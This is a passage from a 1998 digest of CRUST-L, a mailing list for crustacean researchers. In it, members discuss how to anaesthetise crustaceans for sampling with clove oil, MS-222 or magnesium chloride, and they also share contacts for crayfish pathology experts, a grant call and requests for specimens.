CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 12 May 1998 18:19:56 -0400 (EDT) Subject: CRUST-L: MS222 Please respond to the list or to Curt Fiedler, but not directly to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Curt Fiedler > Sorry to once again revive the ghost of anaesthetic thread past but I'm hoping > someone out there can help us. This Summer we are hoping to sample some of > the crevice dwelling decapods which exist subtidally along the west coast of > Ireland. Some of the crevices can be 2-3 metres deep making it difficult to > reach the animals. One idea we are working with involves shooting some kind of > anaesthetic into the crevice and then removing the fauna with a diver operated > suction sampler. My questions are 1) Has anybody sampled similar type habitat > and if so, what method would you recommend? 2) What anaesthetic could be > suitable? I have consulted the crust-L archives with MS-222 and MgCl2 being the > most frequently used. Would these be suitable for divers working at depths of > approx. 10 metres? I don't believe that MS-222 or MgCl2 will do the job in the field. I suggest trying Eugenol (Clove Oil) or Quinoline (Quinaldine). I've used both in crevices and they work well. Q-juice is kind of nasty, however. My experience with MS-222 is that not all crusties are affected by it. Check on the legality of the usage of any chemical you are using in your area. - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Tue, 12 May 1998 18:03:07 -0500 Subject: CRUST-L: one-eyed crusties I haven't seen any other responses to the original question about Cyclops and the number of eyes, so I'll stick my toe back in and respond to Jens Hoeg's comment on my thought: Size. They're too small to have more than one eye. Jens countered with informed comments on the eyeness of Cyclops, disputing my idea. I should have stated in the first place that I was thinking of Cladocerans. With that in mind, I still think it's mostly a space problem. The critters don't have room for more than one (compound) eye, and don't need more than one anyway. Polyphemus certainly terrorizes the zooplankton with its monocular view of the world. Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Erich Eder"" Date: Wed, 13 May 1998 17:42:03 MET-1MEST Subject: CRUST-L: Aphanomyces astaci Dear Crusters, we are currently working on an exhibition and a book about freshwater crayfish in Austria. Autochtonous species are severely threatened by american species infected with Aphanomyces (which is nothing new to this group, I guess ;-) I am urgently looking for an international expert on Aphanomyces astaci who is willing to contribute an article about this topic. The book will appear in German but with english abstracts. (An english article will be translated) If you are or if you know ""the"" expert on Aphanomyces astaci, please contact me ASAP! e-mail: eeder@zoo.univie.ac.at thank you for your attention and best craywishes, Erich - -- Erich Eder Institute for Zoology, Univ. Wien, Althanstr.14, A-1090 Vienna AUSTRIA http://urzeitkrebse.home.ml.org (Deutsch) http://branchiopoda.home.ml.org (English) http://branquiopodos.home.ml.org (Espanol) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Thu, 14 May 1998 10:48:16 +0200 Subject: Re: CRUST-L: anaesthetics At 15.26 12/05/98 -0400, Jeffrey Shields wrote: >Please respond to Adrian Linnane, and not to me. >Thanks, >Jeff > >Ps. This would make a good start for a FAQ. If anyone is interested in >preparing it, I could archive it on crust-l. > >---------- Forwarded message ---------- >From: ADRIAN LINNANE ZOO DEPT >Subject: anaesthetic thread >To: CRUST-L@VIMS.EDU >Message-id: <01IWY7YI5HV600AJXM@bodkin.ucg.ie> >X-VMS-To: CRUST-L@VIMS.EDU >MIME-version: 1.0 > >Hi People, >Sorry to once again revive the ghost of anaesthetic thread past but I'm hoping >someone out there can help us. This Summer we are hoping to sample some of >the crevice dwelling decapods which exist subtidally along the west coast of >Ireland. Some of the crevices can be 2-3 metres deep making it difficult to >reach the animals. One idea we are working with involves shooting some kind of >anaesthetic into the crevice and then removing the fauna with a diver operated >suction sampler. My questions are 1) Has anybody sampled similar type habitat >and if so, what method would you recommend? 2) What anaesthetic could be >suitable? I have consulted the crust-L archives with MS-222 and MgCl2 being the >most frequently used. Would these be suitable for divers working at depths of >approx. 10 metres? >Thanking you for your time, >Adrian Linnane Hello crustlers, I strongly join the invitation of Jeff. Once I had a thread on anesthetics saved in my PC, but I lose it! :-( I have searched the online crust-l archive, but I could not find all the postings related (I remember they were about 10 or so). Is there a good-willing person out there who has saved the postings and will kindly make a FAQ or something similar? Cheers, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Thu, 14 May 1998 14:58:14 +0100 Subject: Re: CRUST-L: Aphanomyces astaci >Dear Crusters, >we are currently working on an exhibition and a book about freshwater >crayfish in Austria. Autochtonous species are severely threatened by >american species infected with Aphanomyces (which is nothing new to >this group, I guess ;-) >I am urgently looking for an international expert on Aphanomyces astaci >who is willing to contribute an article about this topic. The book will >appear in German but with english abstracts. (An english article will be >translated) >If you are or if you know ""the"" expert on Aphanomyces astaci, please >contact me ASAP! e-mail: eeder@zoo.univie.ac.at (...) In France, you may contact these researchers, working (at least for part of their time) on Crustacean pathology : Mr. Alain Vey, Station de recherches de cytologie et de pathologie comparee, INRA, F-30380 St Christol les Ales, France Tel. +33 04 66 52 20 17 Mr. Constantin Vago, (same address) Mr. Jean-Robert Bonami, Laboratoire de pathologie comparee, Univ. des Sciences et Techniques de Montpellier II, place Eugene Bataillon UM2, F-34095 Montpellier cedex 5 France Tel. +33 04 67 14 46 73; fax +33 04 67 14 46 79; telex USTMONT 490944F; e-mail bonami@univ-montp2.fr Best regards. Pierre. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chip Biernbaum Date: Thu, 14 May 1998 09:11:42 -0400 (EDT) Subject: Re: CRUST-L: anaesthetics I printed copies of most or all of the previous CRUST-L messages about crustacean anaesthetics. Unfortunately, however, none of them remain in memory in my computer. If anyone has any of the following in memory, would you send it (them) out on CRUST-L again? The messages I'm referring to and the dates that they were sent out on CRUST-L are as follows: 1. Caleb Gardner: megalopae & amphipods (3 Dec 96) 2. Joachim Kahlert: amphipods (3 Dec 96) 3. Pierre Noel: amphipods (7 May 97) -- this message from Pierre includes copies of messages from Curt Fiedler (copepods), Caleb Gardner (#1 above), Philip Oshel (Daphnia & copepods), Ruth Barnich (decapod larvae), and Joachim Kahlert (#2 above). 4. Edwin Cruz-Rivera: amphipods (7 May 97) 5. Roy Caldwell: Stomatopods (15 Oct 97) Chip >Return-path: >Date: Thu, 14 May 1998 10:48:16 +0200 >From: Carlo Pipitone >Subject: Re: CRUST-L: anaesthetics >Sender: owner-crust-l@vims.edu >X-Sender: carlopip@box2.tin.it (Unverified) >To: crust-l@VIMS.EDU >Reply-to: Carlo Pipitone > >At 15.26 12/05/98 -0400, Jeffrey Shields wrote: >>Please respond to Adrian Linnane, and not to me. >>Thanks, >>Jeff >> >>Ps. This would make a good start for a FAQ. If anyone is interested in >>preparing it, I could archive it on crust-l. >> >>---------- Forwarded message ---------- >>From: ADRIAN LINNANE ZOO DEPT >>Subject: anaesthetic thread >>To: CRUST-L@VIMS.EDU >>Message-id: <01IWY7YI5HV600AJXM@bodkin.ucg.ie> >>X-VMS-To: CRUST-L@VIMS.EDU >>MIME-version: 1.0 >> >>Hi People, >>Sorry to once again revive the ghost of anaesthetic thread past but I'm >hoping >>someone out there can help us. This Summer we are hoping to sample some of >>the crevice dwelling decapods which exist subtidally along the west coast of >>Ireland. Some of the crevices can be 2-3 metres deep making it difficult to >>reach the animals. One idea we are working with involves shooting some >kind of >>anaesthetic into the crevice and then removing the fauna with a diver >operated >>suction sampler. My questions are 1) Has anybody sampled similar type habitat >>and if so, what method would you recommend? 2) What anaesthetic could be >>suitable? I have consulted the crust-L archives with MS-222 and MgCl2 >being the >>most frequently used. Would these be suitable for divers working at depths of >>approx. 10 metres? >>Thanking you for your time, >>Adrian Linnane > >Hello crustlers, >I strongly join the invitation of Jeff. >Once I had a thread on anesthetics saved in my PC, but I lose it! :-( >I have searched the online crust-l archive, but I could not find all the >postings related (I remember they were about 10 or so). >Is there a good-willing person out there who has saved the postings and >will kindly make a FAQ or something similar? > >Cheers, >Carlo Pipitone > >***************************************** >Carlo Pipitone >-------- >CNR-ITPP >Laboratorio di Biologia Marina >via G. da Verrazzano 17 >91014 Castellammare del Golfo (TP), Italy >tel: (0924)35013 >fax: (0924)35084 >e-mail: carlopip@tin.it >alternate e-mail: pipitone@itpp.pa.cnr.it >***************************************** >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu PLEASE NOTE THE NEW AREA CODE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 14 May 1998 09:14:48 -0400 (EDT) Subject: CRUST-L: alistair richardson Please respond to Amir Sagi, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Thu, 14 May 1998 01:02:34 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu From: Amir Sagi To: crust-l list Subject: alastair richardson - E-mail Message-ID: X-X-Sender: sagia@bgumail.bgu.ac.il MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Crustelers Could somebody help me with the E-mail of Dr. Alastair Richardson in Hobart. I tried his addres from the IAA directory but it does not work (alastair.richardson@zoo.utar.edu.au). Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #143 ***************************** >From owner-crust-l Mon May 18 12:09:18 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id MAA01922 for crust-l-digest-outgoing; Mon, 18 May 1998 12:03:42 -0400 Date: Mon, 18 May 1998 12:03:42 -0400 Message-Id: <199805181603.MAA01922@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #144 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 18 crust-l-digest Monday, 18 May 1998 Volume 01 : Number 144 Re: CRUST-L: anaesthetics CRUST-L: Anesthetics FAQ CRUST-L: Anaesthetic for Crustaceans Re: CRUST-L: alistair richardson CRUST-L: IFS- Call for Research Grant Applications CRUST-L: cave amphipods CRUST-L: Potential problems CRUST-L: cave amphipods CRUST-L: IFS- Call for Research Grant Applications CRUST-L: Sagi's response CRUST-L: translation from Russian CRUST-L: larval behavior CRUST-L: glacial relict crustaceans CRUST-L: zeolites and shrimp ---------------------------------------------------------------------- From: Christoph Schubart Date: Thu, 14 May 1998 09:59:27 -0500 Subject: Re: CRUST-L: anaesthetics Chip, I found the ones from 3 Dec 1996 and 15 Oct 1997: Date: 3 Dec 1996 From: cgardner@dpi.tas.gov.au (Caleb Gardner) MS222 is fairly ineffective on most crustaceans, especially brachyurans, although it has been recommended for amphipods (Ahmad, 1969. Anaesthetic effects of ms222 on Gammarus pulex. Crustaceana, 16: 197-201.). I'd recommend a clove oil bath for your application, at 0.125 ppt. As with most situations, it's best to add a little ethanol to get things mixing. Caleb Gardner Taroona Marine Research Labs. PO Box 192B Hobart 7001 Australia Ph (03) 62 277277 Fax 62 278035 cgardner@aries.dpi.tas.gov.au From: ""Dr. Ruth Barnich"" I don't have any experiences with MS 222, but for my doctoral thesis I used 7% MgCl2 (in aqua dest ) successfully to anesthetize decapod larvae before fixation. MgCl2 works also for most other planktonic organisms. Good luck, Ruth Dr. Ruth Barnich Forschungsinstitut Senckenberg Senckenberganlage 25 60325 Frankfurt/M. Germany ph. +69-7542-265 Fax +69-776238 rbarnich@sng.uni-frankfurt.de From: ""Joachim Kahlert"" Organization: BIOLAN UNIVERSITY OF COLOGNE I am using MS 222 for years to immobilize freshwater Amphipods and it works very well. I use concentrations of 1,5 g/l and the Gammarids need about 5 min to fell asleep (at 20 degrees C). There's a paper about Gammarus pulex and MS 222: Ahmad, M.F. (1969): Anesthesetic effects of Tricaine methane sulfonate (MS 222 Sandoz) on Gammarus pulex (L.) (Amphipoda).- Crustaceana, 16, 197-201. Greetings Joachim *********************************************************** Dipl.Biol. Joachim Kahlert Sysop. Biolan University of Cologne Biolan Management Group Dep. of Zoology, Ecology Weyertal 119 Weyertal 119 D-50923 Koeln D-50923 Koeln Tel.: +49 (0)221 470 2481 Tel: +49 (0)221-470 3114 Fax: +49 (0)221-470 5932 http://mother.biolan.uni-koeln.de/users/jkahlert/jkahlert.html Date: Wed, 15 Oct 1997 23:32:58 -0500 From: Roy Caldwell <4roy@socrates.Berkeley.Edu> Subject: CRUST-L: Anaesthetic for Crustaceans Dear Crusters: >From time to time I see requests for a good method to anaesthetize crustaceans come across this list. Most of us have found that there are problems with MS-222, Quinaldine, etc. The usual answer that is given is ""cold"". Cold does indeed work well for many crustaceans, but for the tropical stomatopods which I study, it kills them. Over the years I have tried just about every compound I could think of and nothing worked. If they stopped moving, they didn't wake up and if they did, the raptorial appendages were no longer functional (the raptorial appendages have a special metabolic pathway, but that is another story). The only thing that even came close to being reversible was a 1% mixture of ether in sea water and that was very difficult to use. Well, I finely found an anaesthetic that works, is safe, cheap, and allows me to keep stomatopods under for several minutes. People in Australia have been using eugenol to knock out fish and we tried it on stomatopods. It works like a charm. To formulate it, we add 5 ml of 95% ETOH to 1 liter of sea water, then add 5 drops of eugenol. This concentration will knock out a stomatopod in a couple of minutes and if you then rinse them off with sea water, they will stay under for a few minutes with no adverse effects. To keep stomatopods under longer, we transfer them to a 25% dilution of the stock solution. I haven't tried this for longer than about half an hour, but for at least that period, it is still reversible. I have not tried this with other crustaceans, but given how sensitive stomatopods are to just about any drug we tried, I suspect it will work - but please don't try it one your most valuable beast without a little testing first. Oh, and if you are wondering what eugenol is, it is the main ingredient in Clove Oil. Clove oil is usually about 80-90 eugenol. What ever else is in it, does not seem to bother stomatopods, although I have now started using the pure stuff. Roy Caldwell ***************************************** Roy L. Caldwell Department of Integrative Biology University of California at Berkeley > I printed copies of most or all of the previous CRUST-L messages >about crustacean anaesthetics. Unfortunately, however, none of them remain >in memory in my computer. If anyone has any of the following in memory, >would you send it (them) out on CRUST-L again? The messages I'm referring >to and the dates that they were sent out on CRUST-L are as follows: > >1. Caleb Gardner: megalopae & amphipods (3 Dec 96) > >2. Joachim Kahlert: amphipods (3 Dec 96) > >3. Pierre Noel: amphipods (7 May 97) -- this message from Pierre >includes copies of messages from Curt Fiedler (copepods), Caleb Gardner (#1 >above), Philip Oshel (Daphnia & copepods), Ruth Barnich (decapod larvae), >and Joachim Kahlert (#2 above). > >4. Edwin Cruz-Rivera: amphipods (7 May 97) > >5. Roy Caldwell: Stomatopods (15 Oct 97) > >Chip > >Charles K. (Chip) Biernbaum >Grice Marine Biological Laboratory >College of Charleston >205 Ft. Johnson >Charleston, SC 29412 >843-406-4010 (FAX: 843-406-4001) >e-mail: biernbaumc@cofc.edu > >PLEASE NOTE THE NEW AREA CODE ___________ Christoph Schubart Department of Biology University of Southwestern Louisiana Lafayette, Louisiana 70504-2451; USA tel. (318)4825304 / 4825403 fax (318)4825834 e-mail: cds5356@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Edwin Cruz-Rivera Date: Thu, 14 May 1998 11:33:57 -0400 (EDT) Subject: CRUST-L: Anesthetics FAQ I amn one of the persons who asked about this sometime ago, and thus, I have some of the postings saved. If anyone is preparing this FAQ, let me know so I can send them over. Unfortunately, I can't prepare it myself. Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Roy Caldwell <4roy@socrates.berkeley.edu> Date: Thu, 14 May 1998 09:30:48 -0800 Subject: CRUST-L: Anaesthetic for Crustaceans As requested, I'm sending this out again. Roy Dear Crusters: >From time to time I see requests for a good method to anaesthetize crustaceans come across this list. Most of us have found that there are problems with MS-222, Quinaldine, etc. The usual answer that is given is ""cold"". Cold does indeed work well for many crustaceans, but for the tropical stomatopods which I study, it kills them. Over the years I have tried just about every compound I could think of and nothing worked. If they stopped moving, they didn't wake up and if they did, the raptorial appendages were no longer functional (the raptorial appendages have a special metabolic pathway, but that is another story). The only thing that even came close to being reversible was a 1% mixture of ether in sea water and that was very difficult to use. Well, I finely found an anaesthetic that works, is safe, cheap, and allows me to keep stomatopods under for several minutes. People in Australia have been using eugenol to knock out fish and we tried it on stomatopods. It works like a charm. To formulate it, we add 5 ml of 95% ETOH to 1 liter of sea water, then add 5 drops of eugenol. This concentration will knock out a stomatopod in a couple of minutes and if you then rinse them off with sea water, they will stay under for a few minutes with no adverse effects. To keep stomatopods under longer, we transfer them to a 25% dilution of the stock solution. I haven't tried this for longer than about half an hour, but for at least that period, it is still reversible. I have not tried this with other crustaceans, but given how sensitive stomatopods are to just about any drug we tried, I suspect it will work - but please don't try it one your most valuable beast without a little testing first. Oh, and if you are wondering what eugenol is, it is the main ingredient in Clove Oil. Clove oil is usually about 80-90 eugenol. What ever else is in it, does not seem to bother stomatopods, although I have now started using the pure stuff. Roy Caldwell ***************************************** Roy L. Caldwell Department of Integrative Biology University of California at Berkeley ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ***************************************** Roy L. Caldwell Department of Integrative Biology University of California at Berkeley ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 14 May 1998 14:47:29 -0500 Subject: Re: CRUST-L: alistair richardson Amir, Try: Alastair.Richardson@utas.edu.au Phil >Dear Crustelers > >Could somebody help me with the E-mail of Dr. Alastair Richardson in >Hobart. I tried his addres from the IAA directory but it does not work >(alastair.richardson@zoo.utar.edu.au). > >Yours >Amir > >***************************************************** >Dr. Amir Sagi Office: 972 7 6461364 >Department of Life Sciences Lab: 972 7 6472668 >Ben-Gurion University Fax: 972 7 6472890 >P.O.Box 653 >Beer Sheva 84105 >Israel http://www.bgu.ac.il/life/sagi.html >***************************************************** }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gilbert Van Stappen"" Date: Fri, 15 May 1998 08:47:25 +0200 Subject: CRUST-L: IFS- Call for Research Grant Applications THE INTERNATIONAL FOUNDATION FOR SCIENCE - CALL FOR RESEARCH GRANT APPLICATIONS FROM DEVELOPING COUNTRY SCIENTISTS WORKING IN THE FIELD OF AQUATIC RESOURCES The International Foundation for Science (IFS) provides support to young scientists of merit in developing countries by awarding research grants and providing grantees with additional services such as travel grants and purchasing assistance. Within the scope of Aquatic Resources, projects can relate to research dealing with the ecology and sustainable management of aquatic resources. Simple surveys should not be included. Project proposals dealing with aquaculture research, ie site selection, selection, breeding, rearing, and nutrition of cultivable organisms, and disease control are invited. Relevant research in fisheries, aquatic biology and ecology, environmental impact including coastal zone management, and ecology of species and ecosystems can be proposed in applications. Research grants are awarded up to a maximum value of USD 12,000 for a period of one to three years and may be renewed twice. They are intended for the purchase of equipment, expendable supplies, and literature. Applicants must be citizens of, and carry out the research in, a developing country. They should also be employed at a university or national research institution in a developing country. As well as being under the age of 40 (under 30 for applicants from China) and at the start of their research career, candidates must possess a higher academic degree, which should be at least an MSc or equivalent. The IFS supports projects dealing with the management, use, and conservation of biological resources and their environment. The Foundation organizes its activities into six Research Areas, viz Animal Production, Aquatic Resources, Crop Science, Food Science, Forestry/Agroforestry, and Natural Products. For further information and application forms in English or French write to: IFS, Grev Turegatan 19, S-114 38 Stockholm, Sweden Fax: +46-8-54581801 Email: info@ifs.se Website: www.ifs.se Gilbert Van Stappen Laboratory of Aquaculture & Artemia Reference Center Rozier 44, B-9000 Gent, Belgium tel. 32-9-2643754 fax 32-9-2644193 gilbert.vanstappen@rug.ac.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Fri, 15 May 1998 13:41:27 +0000 Subject: CRUST-L: cave amphipods Hello CRUST-Lers, recently I asked for cave mysids, and now it is the cave amphipods I am interested in. I would like to know to what extent the characters I found in cave mysids are due to the ""cave-living"" (compared to amphipod characters). The only problem is to get these critters - if you have no money to travel :-( Therefore just my simple request: Is there anybody out there who has a cave amphipod for me? Genera Niphargus, Hyalella, Bogidiella, Hadzia, Metaniphargus or other cave amphipods? May be it is nearly imprudent to ask for such rare material, but it is not just for fun or for the completion of a collection, but for working. Best regards and greetings to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to 